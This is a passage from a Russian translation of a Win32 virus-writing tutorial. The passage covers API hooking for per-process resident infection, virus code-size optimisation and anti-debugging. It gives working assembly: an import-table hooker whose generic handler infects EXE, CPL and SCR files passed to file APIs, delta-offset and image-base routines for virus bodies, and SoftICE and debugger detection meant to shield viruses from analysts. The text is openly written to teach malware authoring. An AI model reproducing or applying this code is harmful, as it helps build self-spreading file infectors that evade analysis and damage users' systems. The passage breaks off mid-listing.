        mov     eax,[ebx]                    ; EAX = адрес API-функции ;)
        test    al,0                         ; Это чтобы избежать перехода и
        org     $-1                          ; немного соптимизировать :)
 nopes:
        stc                                  ; Ошибка!
        ret

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Очень просто: поскольку счетчик у нас находится в EBX, а массив был      ;
 ; массивом DWORD'ов, мы умножаем на 4 (чтобы получить относительное        ;
 ; смещение, которое отмечает адрес API), а после этого у нас находится в   ;
 ; EBX указатель на желаемый адрес API в таблице импортов, а в EAX у нас    ;
 ; находится адрес API-функции. Совершенно :).                              ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 GetAPI_IT      endp

;---[ CUT HERE ]-------------------------------------------------------------

Теперь мы знаем, как играть с таблицей импортов. Но нам нужно еще кое-что.

Получение базы образа во время выполнения

Одна из самых наиболее частых заблуждений - это мнение, что база образа будет всегда одной и той же или всегда будет равна 400000h. Но на самом деле, все далеко не так. Независимо от того, какая база образа будет указана в заголовке вашего файла, система может легко поменять во время запуска, поэтому мы будем пытаться получить доступ к неверному адресу и получить неожиданные результаты. Получить базу образа можно достаточно просто. Просто используйте обычную процедуру получения дельта-смещения.

 virus_start:
        call    tier                            ; Push'им в ESP адрес возврата
 tier:  pop     ebp                             ; Получаем адрес возврата
        sub     ebp,offset realcode             ; И отнимаем начальное смещение

Ок? Давайте представим, что, например, выполнение началось по адресу 401000h (как почти во всех слинкованных TLINK'ом файлах). Поэтому когда мы делаем POP, в EBP у нас будет что-то вроде 00401005h. Тогда что вы получите, если вычтете от него virus_start, а от результата мы снова вычтем текущий EIP (который во всех TLINKованных файлах равен 1000h)? Да, мы получим базу образа! Таким образом, мы будем делать следующее:

 virus_start:
        call    tier                        ; Push'им в ESP адрес возврата
 tier:  pop     ebp                         ; Получаем текущий адрес
        mov     eax,ebp
        sub     ebp,offset realcode         ; И отнимаем начальное смещение
        sub     eax,00001000h               ; Отнимаем текущий EIP (должен
 NewEIP equ     $-4                         ; быть пропатчен во время заражения
        sub     eax,(tier-virus_start)      ; Отнимаем остальное :)

И не забудьте пропатчить переменную NewEIP во время заражения (если модифицируете EIP), что она всегда была равна переменной по смещению 28h заголовка PE, то есть RVA EIP программы :).

[ Мой перехватчик API-функций ]

Далее следует мое дополнение к моей процедуре GetAPI_II. Она базируется на примерно следующей структуре:

        db      ASCIIz_API_Name
        dd      offset (API_Handler)

Например:

        db      "CreateFileA",0
        dd      offset HookCreateFileA

HookCreateFileA - это процедура, которая обрабатывает перехваченную функцию. Код, который я использовал с этими структурами, следующий:

;---[ CUT HERE ]-------------------------------------------------------------

 HookAllAPIs:
        lea     edi,[ebp+@@Hookz]            ; Указатель на первую API-функцию
 nxtapi:
        push    edi                          ; Сохраняем указатель
        call    GetAPI_IT                    ; Получаем его из таблицы импортов
        pop     edi                          ; Восстанавливаем указатель
        jc      Next_IT_Struc_               ; Не получилось? Проклятье...
                                             ; EAX = адрес API-функции
                                             ; EBX = указатель API-функции
                                             ; в таблице импортов

        xor     al,al                        ; Достигаем конца имени API-функции
        scasb
        jnz     $-1

        mov     eax,[edi]                    ; Получаем смещение обработчика
        add     eax,ebp                      ; Приводим в соотве. с дельта-см.
        mov     [ebx],eax                    ; И помещаем в импорты!
 Next_IT_Struc:
        add     edi,4                        ; Получаем следующий элемент ст-ры!
        cmp     byte ptr [edi],"."           ; Достигли пследней API-ф-ции? Гр..
        jz      AllHooked                    ; Мы перехватили все
        jmp     nxtapi                       ; Следующий оборот цикла
 AllHooked:
        ret

 Next_IT_Struc_:
        xor     al,al                        ; Получаем конец строки
        scasb
        jnz     $-1
        jmp     Next_IT_Struc                ; И возвращаемся обратно :)

 @@Hookz label   byte
        db      "MoveFileA",0                ; Несколько примеров
        dd      (offset HookMoveFileA)

        db      "CopyFileA",0
        dd      (offset HookCopyFileA)

        db      "DeleteFileA",0
        dd      (offset HookDeleteFileA)

        db      "CreateFileA",0
        dd      (offset HookCreateFileA)

        db      "."                             ; Конец массива :)
;---[ CUT HERE ]-------------------------------------------------------------

Я надеюсь, что здесь все достаточно понятно :).

Универсальный перехватчик

Возможно вы помните, что есть некоторые API-функции, которые принимают последним заPUSHенным параметром указатель на файл (который может быть исполняемым), поэтому мы можем их перехватить и применить универсальный перехватчик, который сначала проверяет расширение файла, и если он исполняемый, мы можем заразить его без всяких проблем :).

;---[ CUT HERE ]-------------------------------------------------------------

 ; Несколько различных хуков :)

 HookMoveFileA:
        call    DoHookStuff                     ; обрабатываем этот вызов
        jmp     [eax+_MoveFileA]                ; передаем контроль
                                                ; оригинальной API-функции

 HookCopyFileA:
        call    DoHookStuff                     ; обрабатываем этот вызов
        jmp     [eax+_CopyFileA]                ; передаем контроль
                                                ; оригинальной API-функции

 HookDeleteFileA:
        call    DoHookStuff                     ; обрабатываем этот вызов
        jmp     [eax+_DeleteFileA]              ; передаем контроль
                                                ; оригинальной API-функции

 HookCreateFileA:
        call    DoHookStuff                     ; обрабатываем этот вызов
        jmp     [eax+_CreateFileA]              ; передаем контроль
                                                ; оригинальной API-функции

 ; The generic hooker!!

 ; Универсальный перехватчик!!

 DoHookStuff:
        pushad                      ; Push'им все регистры
        pushfd                      ; Push'им все флаги
        call    GetDeltaOffset      ; Получаем дельта-смещение в EBP
        mov     edx,[esp+2Ch]       ; Получаем имя файла, который нужно заразить
        mov     esi,edx             ; ESI = EDX = file to check
 reach_dot:
        lodsb                       ; Получаем символ
        or      al,al               ; Найден NULL? Дерьмо...
        jz      ErrorDoHookStuff    ; Тогда сваливаем
        cmp     al,"."              ; Найдена точка? Интересно...
        jnz     reach_dot           ; Если нет, следующий оборот цикла
        dec     esi                 ; Фиксим
        lodsd                       ; Помещаем расширение в EAX
        or      eax,20202020h       ; Приводим строку к нижнему регистру
        cmp     eax,"exe."          ; Это EXE? Заражаем!!!
        jz      InfectWithHookStuff
        cmp     eax,"lpc."          ; Это CPL? Заражаем!!!!
        jz      InfectWithHookStuff
        cmp     eax,"rcs."          ; Это SCR? Заражаем!!!!
        jnz     ErrorDoHookStuff
 InfectWithHookStuff:
        xchg    edi,edx             ; EDI = имя файла, который нужно заразить
        call    InfectEDI           ; Заражаем файл!! ;)
 ErrorDoHookStuff:
        popfd                       ; Восстанавливаем все предохраненные
        popad                       ; регистры, чтобы ничего не случилось :)
        push    ebp
        call    GetDeltaOffset      ; Получаем дельта-смещение
        xchg    eax,ebp             ; Помещаем дельта-смещение в EAX
        pop     ebp
        ret

;---[ CUT HERE ]-------------------------------------------------------------

Вот некоторые API-функции, которые можно перехватить с помощью этой универсальной процедуры: MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA, CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA, CopyFileExA, OpenFile.

Заключение

Если что-то непонятно, пишите мне (автору этого текста, а не переводчику! - прим. пер.). Я бы мог привести пример простого пер-процессного резидентного вируса, но единственный подобный вирус, который я написал, слишком сложен и у него слишком много фич, поэтому он будет для вас непонятен :).


Путеводитель по написанию вирусов под Win32: 7. Оптимизация под Win32

7. Оптимизация под Win32

Хмм.. Этот раздел должен писать Super, а не я, но так как я все же его ученик, я напишу здесь о том, что изучил за то время, что нахожусь в мире кодинга под Win32. В этой главе я буду писать больше о локальной оптимизации, чем о структурной, потому что последняя сильно зависит от вашего стиля (например, лично очень параноидально отношусь к вычислениям стека и дельта-оффсета, как вы можете видеть в моем коде, особенно в Win95.Garaipena). В этой статье много моих собственных идей и советов, которые Super дал мне во время валенсийских тусовок. Он, вероятно, лучший оптимизатор в VX-мире. Без шуток. Я не буду обсуждать здесь, как оптимизировать так сильно, как это делает он. Нет. Я только расскажу вам о самых очевидных оптимизациях, которые могут быть сделаны при кодинге под Win32. Я не буду комментировать совсем тривиальные методы оптимизации, которые уже были объяснены в моем путеводителе по написанию вирусов под MS-DOS.

Проверка равен ли регистр нулю

Я устал видеть одно и тоже постоянно, особенно в среде Win32-кодеров, и это меня просто убивает, очень медленно и очень болезненно. Например, мой разум не может переварить идею 'CMP EAX, 0'. Давайте посмотрим, почему:

        cmp     eax,00000000h                   ; 5 байтов
        jz      bribriblibli                    ; 2 байта (если jz короткий)

Хех, я знаю, что жизнь - дерьмо, и вы тратите очень много кода на отстойные сравнения. Ок, давайте посмотрим, как решить эту проблему с помощью кода, который делает то же самое, но с меньшим количеством байтов.

        or      eax,eax                         ; 2 байтов
        jz      bribriblibli                    ; 2 байтов (если jz короткий)

Или эквивалент (но быстрее!):

        test    eax,eax                         ; 2 байта
        jz      bribriblibli                    ; 2 байта (если jz короткий)

Есть способ, как оптимизировать это еще большим образом, если неважно содержимое, которое окажется в другом регистре). Вот он:

        xchg    eax,ecx                         ; 1 байт
        jecxz   bribriblibli                    ; 2 байта (только если короткий)

Теперь вы видите? Никаких извинений, что "я не оптимизирую, потому что теряю стабильность", так как с помощью этих советов вы не будете терять ничего, кроме байтов кода :). Мы сделали процедуру на 4 байта короче (с 7 до 3)... Как? Что вы скажете об этом?

Проверка, равен ли регистр -1

Так как многие API-функции в Ring-3 возвращают вам значение -1 (OFFFFFFFh), если вызов функции не удался, и вам нужно проверять, удачно ли он прошел, вы часто должны сравнивать полученное значение с -1. Но здесь та же проблема, что и ранее - многие люди делают это с помощью 'CMP EAX, 0FFFFFFFh', хотя то же можно осуществить гораздо более оптимизировано...

        cmp     eax,0FFFFFFFFh                  ; 5 байтов
        jz      insumision                      ; 2 байта (если короткий)

Давайте посмотрим, как это можно оптимизировать:

        inc     eax                             ; 1 байт
        jz      insumision                      ; 2 байта
        dec     eax                             ; 1 байт

Хех, может быть это занимает больше строк, но зато весит меньше байтов (4 байта против 7).

Сделать регистр равным -1

Есть вещь, которую делают почти все виркодеры новой школы:

        mov     eax,-1                          ; 5 байтов

Вы поняли, что это худшее, что вы могли сделать? Неужели у вас только один нейрон? Проклятье, гораздо проще установить -1 более оптимизированно:

        xor     eax,eax                         ; 2 байта
        dec     eax                             ; 1 байт

Вы видите? Это не трудно!

Очищаем 32-х битный регистр и помещаем что-нибудь в LSW

Самый понятный пример - это то, что делают все вирусы, когда помещают количество секций в PE-файле в AX (так как это значение занимает 1 слово в PE-заголовке).

        xor     eax,eax                         ; 2 байта
        mov     ax,word ptr [esi+6]             ; 4 байта

Или так:

        mov     ax,word ptr [esi+6]             ; 4 байта
        cwde                                    ; 1 байт

Я все еще удивляюсь, почему все VX-еры используют эти "старую" формулы, особенно, когда у нас есть инструкция 386+, которая делает регистр равным нулю перед помещением слова в AX. Эта инструкция равна MOVZX.

        movzx   eax,word ptr [esi+6]            ; 4 байта

Хех, мы избежали одной лишней инструкции и лишних байтов. Круто, правда?

Вызов адреса, сохраненного в переменной

Если еще одна вещь, которую делают некоторые VX-еры, и из-за которой я схожу с ума и кричу. Давайте я вам ее напомню:

        mov     eax,dword ptr [ebp+ApiAddress]  ; 6 байтов
        call    eax                             ; 2 байта

Мы можем вызывать адрес напрямую, ребята... Это сохраняет байты и не используется лишний регистр.

        call    dword ptr [ebp+ApiAddress]      ; 6 байтов

Снова мы избавляемся от ненужной инструкции, которая занимает 2 байта, а делаем то же самое.

Веселье с push'ами

Почти то же, что и выше, но с push'ем. Давайте посмотрим, что надо и не надо делать:

        mov     eax,dword ptr [ebp+variable]    ; 6 байтов
        push    eax                             ; 1 байт

Мы можем сделать то же самое, но на 1 байт меньше. Смотрите.

        push    dword ptr [ebp+variable]        ; 6 байтов

Круто, правда? ;) Ладно, если нам нужно push'ить много раз (если значение велико, более оптимизированно, будет более оптимизированно push'ить значение 2+ раза, а если значение мало, более оптимизированно будет push'ить его, когда вам нужно сделать это 3+ раза) одну и ту же переменную, более выгодно будет поместить ее в регистр и push'ить его. Например, если нам нужно заpushить он 3 раза, более правильным будет сксорить регистр сам с собой и затем заpushить регистр. Давайте посмотрим:

        push    00000000h                       ; 2 байта
        push    00000000h                       ; 2 байта
        push    00000000h                       ; 2 байта

И давайте посмотрим, как прооптимизировать это:

        xor     eax,eax                         ; 2 bytes
        push    eax                             ; 1 byte
        push    eax                             ; 1 byte
        push    eax                             ; 1 byte

Часто во время использования SEH нам бывает необходимо запушить fs:[0] и так далее: давайте посмотрим, как это можно оптимизировать:

        push    dword ptr fs:[00000000h]        ; 6 байтов ; 666? Хахаха!
        mov     fs:[00000000h],esp              ; 6 байтов
        [...]
        pop     dword ptr fs:[00000000h]        ; 6 байтов

Вместо это нам следует сделать следующее:

        xor     eax,eax                         ; 2 байта
        push    dword ptr fs:[eax]              ; 3 байта
        mov     fs:[eax],esp                    ; 3 байта
        [...]
        pop     dword ptr fs:[eax]              ; 3 байта

Кажется, что у нас на 7 байтов меньше! Вау!!!

Получить конец ASCIIz-строки

Это очень полезно, особенно в наших поисковых системах API-функций. И, конечно, это можно сделать гораздо более оптимизировано, чем это делается обычно во многих вирусах. Давайте посмотрим:

        lea     edi,[ebp+ASCIIz_variable]       ; 6 байтов
 @@1:   cmp     byte ptr [edi],00h              ; 3 байта
        inc     edi                             ; 1 байт
        jnz     @@1                             ; 2 байта
        inc     edi                             ; 1 байт

Этот код можно очень сильно сократить, если сделать следующим образом:

        lea     edi,[ebp+ASCIIz_variable]       ; 6 байтов
        xor     al,al                           ; 2 байта
 @@1:   scasb                                   ; 1 байт
        jnz     @@1                             ; 2 байта

Хехехе. Полезно, коротко и выглядит красиво. Что еще нужно? :)

Работа с умножением

Например, в коде, где ищется последняя секция, очень часто встречается следующее (в EAX находится количество секций - 1):

        mov     ecx,28h                         ; 5 байтов
        mul     ecx                             ; 2 байта

И это сохраняет результат в EAX, правильно? Ладно, у нас есть гораздо более лучший путь сделать это с помощью всего лишь одной инструкции:

        imul    eax,eax,28h                     ; 3 байта

IMUL сохраняет в первом регистре результат, который получился с помощью умножения второго регистра с третьим операндом, который в данном случае был непосредственным значением. Хех, мы сохранили 4 байта, заменив две инструкции на одну!

UNICODE в ASCIIz

Есть много путей сделать это. Особенно для вирусов нулевого кольца, которые имеют доступ к специальному сервису VxD. Во-первых, я объясню, как сделать оптимизацию, если используется этот сервис, а затем я покажу метод Super'а, который сохраняет огромное количество байтов. Давайте посмотрим на типичный код (предполагая, что EBP - это указатель на структуру ioreq, а EDI указывает на имя файла):

        xor     eax,eax                         ; 2 байта
        push    eax                             ; 1 байт
        mov     eax,100h                        ; 5 байтов
        push    eax                             ; 1 байт
        mov     eax,[ebp+1Ch]                   ; 3 байта
        mov     eax,[eax+0Ch]                   ; 3 байта
        add     eax,4                           ; 3 байта
        push    eax                             ; 1 байт
        push    edi                             ; 1 байт
@@3:    int     20h                             ; 2 байта
        dd      00400041h                       ; 4 байта

Ладно, похоже, что здесь можно сделать только одно улучшение, заменив третью линию на следующее:

        mov     ah,1                            ; 2 байта

Или так :)

        inc     ah                              ; 2 байта

Хех, но я уже сказал, что Super произвел очень сильные улучшения. я не стал копировать его, получающий указатель на юникодовое имя файла, потому что его очень трудно понять, но я уловил идею. Предполагаем, что EBP - это указатель на структуру ioreq, а buffer - это буфер длиной 100 байт. Далее идет некоторый код:

        mov     esi,[ebp+1Ch]                   ; 3 байт
        mov     esi,[esi+0Ch]                   ; 3 байт
        lea     edi,[ebp+buffer]                ; 6 байт
 @@l:   movsb                                   ; 1 байт -¬
        dec     edi                             ; 1 байт  ¦ Этот цикл был
        cmpsb                                   ; 1 байт  ¦ сделан Super'ом ;)
        jnz     @@l                             ; 2 байт --

Хех, первая из всех процедур (без локальной оптимизации) - 26 байтов, та же, но с локальной оптимизацией - 23 байта, а последняя процедура (со структурной оптимизацией) равна 17 байтам. Вау!!!

Вычисление VirtualSize

Это название является предлогом, чтобы показать вам другие странные опкоды, которые очень полезны для вычисления VirtualSize, так как мы должны добавить к нему значение и получить значение, которые было там до добавления. Конечно, опкод, о котором я говорю - это XADD. Ладно, ладно, давайте посмотрим неоптимизированное вычисление VirtualSize (я предполагаю, что ESI - это указатель на заголовок последней секции):

        mov     eax,[esi+8]                     ; 3 байта
        push    eax                             ; 1 байт
        add     dword ptr [esi+8],virus_size    ; 7 байт
        pop     eax                             ; 1 байт

А теперь давайте посмотрим, как это будет с XADD:

        mov     eax,virus_size                  ; 5 байтов
        xadd    dword ptr [esi+8],eax           ; 4 байта

С помощью XADD мы сохранили 3 байта ;). Между прочим, XADD - это инструкция 486+.

Установка кадров стека

Давайте посмотрим, как это выглядит неоптимизированно:

        push    ebp                             ; 1 байт
        mov     ebp,esp                         ; 2 байта
        sub     esp,20h                         ; 3 байта

А если мы оптимизируем...

        enter   20h,00h                         ; 4 байта

Интересно, не правда ли? :)

Наложение

Эта простая техника была вначале представлена Demogorgon/PS для скрытия кода. Но используя ее таким образом, который я продемонстрирую, она может помочь сэкономить немного байтов. Например, давайте представим, что есть процедура, которая устанавливаем флаг переноса, если происходит ошибка и очищает его, если таковой не произошло.

 noerr: clc                                     ; 1 байт
        jmp     exit                            ; 2 байта
 error: stc                                     ; 1 байт
 exit:  ret                                     ; 1 байт

Но мы можем уменьшить размер на 1 байт, если содержимое одного из 8 регистров для нас не важно (например, давайте представим, что содержимое ECX не важно):

 noerr: clc                                     ; 1 байт
        mov     cl,00h                          ; 1 байт \
        org     $-1                             ;         > MOV CL,0F9H
 error: stc                                     ; 1 байт /
        ret                                     ; 1 байт

Мы можем избежать CLC, внеся небольшие изменения: используя TEST (с AL, так как это более оптимизировано) очистим флаг переноса, и AL не будет модифицирован :)

 noerr: test    al,00h                          ; 1 байт \
        org     $-1                             ;         > TEST AL,0AAH
 error: stc                                     ; 1 байт /
        ret                                     ; 1 байт

Красиво, правда?

Перемещение 8-битного числа в 32-х битный регистр

Почти все делают это так:

        mov     ecx,69h                         ; 5 байтов

Это очень неоптимизированно... Лучше попробуйте так:

        xor     ecx,ecx                         ; 2 байта
        mov     cl,69h                          ; 2 байта

Еще лучше попробуйте так:

        push    69h                             ; 2 байта
        pop     ecx                             ; 1 байт

Все понятно? :)

Очищение переменных в памяти

Это всегда полезно. Обычно люди делают так:

        mov     dword ptr [ebp+variable],00000000h ; 10 байтов (!)

Ладно, я знаю, что это дико :). Вы можете выиграть 3 байта следующим образом:

        and     dword ptr [ebp+variable],00000000h ; 7 байтов

Хехехе :)

Советы и приемы

Здесь я поместил нерасклассифированные приемы оптимизирования и те, которые (как я предполагаю) вы уже знаете ;).

  • Никогда не используйте директиву JUMPS в вашем коде.
  • Используйте строковые операции (MOVS, SCAS, CMPS, STOS, LODS).
  • Используйте 'LEA reg, [ebp+imm32]' вместо 'MOV reg, offset imm32 / add reg, ebp'.
  • Пусть ваш ассемблер осуществляет несколько проходов по коду (в TASM'е /m5 будет достаточно хорошо).
  • Используйте стек и избегайте использования переменных.
  • Многие операции (особенно логические) оптимизированны для регистра EAX/AL
  • Используйте CDQ, чтобы очистить EDX, если EAX меньше 80000000h (т.е. без знака).
  • Используйте 'XOR reg,reg' или 'SUB reg,reg', чтобы сделать регистр равным нулю.
  • Использование EBP и ESP в качестве индекса тратит на 1 байт больше, чем использование EDI, ESI и т.п.
  • Для битовых операций используйте "семейство" BT (BT,BSR,BSF,BTR,BTF,BTS).
  • Используйте XCHG вместо MV, если порядок регистров не играет роли.
  • Во время push'инга все значение структуры IOREQ, используйте цикл.
  • Используйте кучу настолько, насколько это возможно (адреса API-функций, временные переменные и т.д.)
  • Если вам нравится, используйте условные MOV'ы (CMOVs), но они 586+.
  • Если вы знаете как, используйте сопроцессор (его стек, например).
  • Используйте семейство опкодов SET в качестве семафоров.
  • Используйте VxDJmp вместо VxDCall для вызова IFSMgr_Ring0_FileIO (ret не требуется).

В заключение

Я ожидаю, что вы поняли по крайней мере первые приемы оптимизации в этой главе, так как именно пренебрежение ими сводит меня с ума. Я знаю, что я далеко не лучший в оптимизировании. Для меня размер не играет роли. Как бы то ни было, очевидных оптимизаций следует придерживаться, по крайней мере, чтобы продемонстрировать, что вы знаете что-то в этой жизни. Меньше ненужных байт - это в пользу вируса, поверьте мне. И не надо приводить мне аргументов, которые приводил QuantumG в своем вирусе 'Next Step'. Оптимизации, которые я вам показал, не приведут к потере стабильности. Просто попытайтесь их использовать, ок? Это очень логично, ребята.


Путеводитель по написанию вирусов под Win32: 8. Антиотладка под Win32

8. Антиотладка под Win32

Здесь я перечислю некоторые приемы, которые можно использовать, чтобы защитить свои вирусы и/или программы против отладчиков (всех уровней, уровня приложения и системного). Я надеюсь, что вам понравится эта глава.

Win98/NT: обнаружение отладчиков уровня приложения (IsDebuggerPresent)

Этой API-функция нет в Win95, поэтому вам нужно будет убедиться в ее наличии. Также она работает только с отладчиками уровня приложения (например, TD32). И она работает прекрасно. Давайте посмотрим, что о ней написано в справочнике по Win32 API.

 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
 Функция IsDebuggerPresent сообщает, запущен ли вызвавший ее процес в контексте
 отладчика. Эта функция экспортируется из KERNEL32.DLL.

 BOOL IsDebuggerPresent(VOID)

 Параметры
 ---------

 У этой функции нет параметров.

 Возвращаемое значение
 ---------------------

 ¤ Если текущий процесс запущен в контексте отладчика, возвращаемое значение
   не равно нулю.

 ¤ Если текущий процесс не запущен в контексте отладчика, возвращаемое значение
   равно нулю.
 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Пример, демонстрирующий этот API, очень прост. Вот он.

;---[ CUT HERE ]-------------------------------------------------------------

       .586p
       .model flat

extrn   GetProcAddress:PROC
extrn   GetModuleHandleA:PROC

extrn   MessageBoxA:PROC
extrn   ExitProcess:PROC

                .data

szTitle         db      "IsDebuggerPresent Demonstration",0
msg1            db      "Application Level Debugger Found",0
msg2            db      "Application Level Debugger NOT Found",0
msg3            db      "Error: Couldn't get IsDebuggerPresent.",10
                db      "We're probably under Win95",0

@IsDebuggerPresent db   "IsDebuggerPresent",0
K32             db      "KERNEL32",0

       .code

antidebug1:
        push    offset K32                  ; Получаем базовый адрес KERNEL32
        call    GetModuleHandleA
        or      eax,eax                     ; Проверяем на ошибки
        jz      error

        push    offset @IsDebuggerPresent   ; Теперь проверяем наличие
        push    eax                         ; IsDebuggerPresent. Если
        call    GetProcAddress              ; GetProcAddress возвращает ошибку,
        or      eax,eax                     ; то мы считаем, что находимся в
        jz      error                       ; Win95

        call    eax                         ; Вызываем IsDebuggerPresent

        or      eax,eax                     ; Если результат не равен нулю, нас
        jnz     debugger_found              ; отлаживают

debugger_not_found:
        push    0                           ; Показываем "Debugger not found"
        push    offset szTitle
        push    offset msg2
        push    0
        call    MessageBoxA
        jmp     exit

error:
        push    00001010h                   ; Показываем "Error! We're in Win95"
        push    offset szTitle
        push    offset msg3
        push    0
        call    MessageBoxA
        jmp     exit

debugger_found:
        push    00001010h                   ; Показываем "Debugger found!"
        push    offset szTitle
        push    offset msg1
        push    0
        call    MessageBoxA

exit:
        push    00000000h                   ; Выходим из программы
        call    ExitProcess

end     antidebug1

;---[ CUT HERE ]-------------------------------------------------------------

Разве не красиво? Micro$oft сделала за нас всю работу :). Но, конечно, не ожидайте, что этот метод будет работать с SoftICE ;).

Win32: другой путь узнать, что мы находимся в контексте отладчика

Если вы взглянете на статью "Win95 Structures and Secrets", которая была написана Murkry/iKX и опубликована в Xine-3, вы поймете, что в регистре FS находится очень классная структура. Посмотрите поле FS:[20h]... Это 'DebugContext'. Просто сделайте следующее:

        mov     ecx,fs:[20h]
        jecxz   not_being_debugger
        [...]   <--- делайте что угодно, нас отлаживают :)

Таким образом, если FS:[20h] равен нулю, нас не отлаживают. Просто наслаждайтесь этим маленьким и простым методом, чтобы обнаруживать отладчики! Конечно, это нельзя применить к SoftIce.

Win32: Остановка отладчиков уровня приложения с помощью SEH

Я еще не знаю почему, но отладчики уровня приложения падают, если программа просто использует SEH. Также как и кодоэмуляторы, если вызываются исключения :). SEH, о котором я писал в DDT#1, используется для многих интересных вещей. Идите и прочитайте главу "Продвинутые Win32-техники", часть которой я посвятил SEH.

Вам потребуется сделать SEH-обработчик, который будет указывать на код, чье выполнение начнется после исключения, которого можно добиться, например, попытавшись записать что-нибудь по адресу 00000000h ;).

Хорошо, я надеюсь, что вы поняли это. Если нет... Гхрм, забудьте это ;). Также, как и методы, изложенные ранее, данный методы нельзя применить к SoftICE.

Win9X: Detect SoftICE (I)

Здесь я должен поблагодарить Super/29A, потому что это именно он рассказал мне об этом методе. Я разделил его на две части: в этой мы увидим, как это сделать из Ring-0. Я не буду помещать сюда весь исходный код вируса, потому что в нем много лишнего, но вы должны знать, что данный способ работает в Ring-0 и VxDCall должен быть восстановлен из-за проблемы обратного вызова (помните?).

Ок, мы собираемся использовать сервис VMM Get_DDB, т.е. сервис равен 00010146 (VMM_Get_DDB). Давайте посмотрим информацию об этом сервисе в SDK.

 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
         mov    eax, Device_ID
         mov    edi, Device_Name
         int    20h                             ; VMMCall Get_DDB
         dd     00010146h
         mov    [DDB], ecx

 - Определяет, установлен или нет VxD для определенного устройства и возвращает
   DDB для этого устройства, если он инсталлирован.

 - Использует ECX, флаги.

 - Возвращает DDB для указанного устройства, если вызов функции прошел успешно;
 - в противном случае возвращается ноль.

 ¤ Device_ID: идентификатор устройства. Этот параметр может быть равен нулю
   для именованных устройств.

 ¤ Device_Name: восьмисимвольное имя устройства (может выравниваться до этого
   размера пробелами). Этот параметр требуется только, если Device_ID равен
   нулю. Имя устройства чувствительно к регистру.
 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Вы, наверное, думаете, что все это значит. Очень просто. Поле Device_ID в VxD SoftIce'а всегда постоянно, так как оно зарегистрировано в Micro$oft'е, что мы можем использовать в качестве оружия против чудесного SoftIce, Его Device_ID всегда равен 202h. Поэтому нам нужно использовать следующий код:

        mov     eax,00000202h
        VxDCall VMM_Get_DDB
        xchg    eax,ecx
        jecxz   NotSoftICE
        jmp     DetectedSoftICE

Где NotSoftICE должно быть продолжение кода вируса, а DetectedSoftICe должна обрабатывать ситуацию, если наш враг жив :). Я не предлагаю ничего деструктивного, так как, например, на моем компьютере SoftICE постоянно активен :).

Win9X: обнаружение SoftICE (II)

Ладно, далее идет другой метод для обнаружение присутствие моего возлюбленного SoftIce, но основывающегося на той же концепции, что и раньше: 202h ;). Снова я должен поблагодарить Super'а :). Ладно, в Ralph Brown Interrupt list мы можем найти очень кульный сервис в прерывании 2Fh - 1684h.

 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
 Ввод:
         AX = 1684h
         BX = виртуальное устройство (VxD) ID (смотри #1921)
         ES:DI = 0000h:0000h
 Возврат:ES:DI -> входная точка VxD API или 0:0, если VxD не поддерживает
            API
 Обратите внимание: некоторые драйвера устройств предоставляют приложениям
         определенные сервисы. Например, Virtual Display Device (VDD)
         предоставляет API, используемый WINOLDAP.
 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Таким образом, вы помещаете BX в 202h и запускаете эту функцию. А затем говорите... "Эй, Билли... Как мне использовать прерывания?". Мой ответ... ИСПОЛЬЗУЙТЕ VxDCALL0!!!

Win32: обнаружение SoftICE (III)

Наконец, вас ждет окончательный и прекрасный прием... Глобальное решение проблемы нахождения SoftICE в средах Win9x и WinNT! Это очень легко, 100% базируется на API и без всяких "грязных" трюков, не идущих на пользу совместимости. И ответ спрятан не так глубоко, как вы могли бы подумать... ключ в API-функции, которую вы наверняка использовали раньше: CreateFile. Да, эта функция... разве не прекрасно? Ладно, мы должны попытаться сделать следующее:

        + SoftICE для Win9x : "\\.\SICE"
        + SoftICE для WinNT : "\\.\NTICE"

Если функция возвращает нам что-то, отличное от -1 (INVALID_HANDLE_VALUE), это значит, что SoftICE активен! Далее идет демонстрационная программа:

;---[ CUT HERE ]-------------------------------------------------------------

        .586p
        .model  flat

extrn   CreateFileA:PROC
extrn   CloseHandle:PROC
extrn   MessageBoxA:PROC
extrn   ExitProcess:PROC

        .data

szTitle         db      "SoftICE detection",0

szMessage       db      "SoftICE for Win9x : "
answ1           db      "not found!",10
                db      "SoftICE for WinNT : "
answ2           db      "not found!",10
                db      "(c) 1999 Billy Belcebu/iKX",0

nfnd            db      "found!    ",10

SICE9X          db      "\\.\SICE",0
SICENT          db      "\\.\NTICE",0

        .code

DetectSoftICE:
        push    00000000h                       ; Проверяем наличие SoftICE
        push    00000080h                       ; для среды окружения Win9x
        push    00000003h
        push    00000000h
        push    00000001h
        push    0C0000000h
        push    offset SICE9X
        call    CreateFileA

        inc     eax
        jz      NoSICE9X
        dec     eax

        push    eax                             ; Закрыть открытый файл
        call    CloseHandle

        lea     edi,answ1                       ; SoftICE найден!
        call    PutFound
NoSICE9X:
        push    00000000h                       ; А теперь пытаемся открыть
        push    00000080h                       ; SoftICE под WinNT...
        push    00000003h
        push    00000000h
        push    00000001h
        push    0C0000000h
        push    offset SICENT
        call    CreateFileA

        inc     eax
        jz      NoSICENT
        dec     eax

        push    eax                             ; Закрыть хэндл файла
        call    CloseHandle

        lea     edi,answ2                       ; SoftICE под WinNT найден!
        call    PutFound
NoSICENT:
        push    00h                             ; Показываем MessageBox с
        push    offset szTitle                  ; результатами
